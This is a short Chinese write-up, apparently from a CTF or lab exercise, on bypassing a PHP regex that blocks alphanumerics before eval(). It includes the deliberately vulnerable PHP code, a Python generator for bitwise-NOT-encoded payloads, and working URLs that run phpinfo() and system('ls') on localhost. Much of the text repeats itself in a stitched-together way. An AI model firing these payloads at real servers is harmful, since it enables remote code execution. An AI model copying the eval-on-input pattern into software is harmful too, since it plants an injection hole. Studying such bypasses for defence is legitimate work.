前几天看到这个正则过滤了大小写、数字、下划线、$
参考p牛的文章
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
尝试利用取反的方法进行代码执行，本地环境PHP 7.0.20-2
简单写了句生成payload代码：之后构造请求：
http://localhost/test.php?code=(~%8F%97%8F%96%91%99%90)();
执行ls测试一下：
http://localhost/test.php?code=(~%8c%86%8c%8b%9a%92)(~%93%8c);
<?php
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
eval($code);
}else{
highlight_file(__FILE__);
}参考p牛的文章
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
尝试利用取反的方法进行代码执行，本地环境PHP 7.0.20-2
简单写了句生成payload代码：
def get(shell):
hexbit = ''.join(map(lambda x: hex(~(-(256-ord(x)))),shell))
print hexbit.replace('0x', '%')
get('phpinfo')http://localhost/test.php?code=(~%8F%97%8F%96%91%99%90)();
执行ls测试一下：
http://localhost/test.php?code=(~%8c%86%8c%8b%9a%92)(~%93%8c);
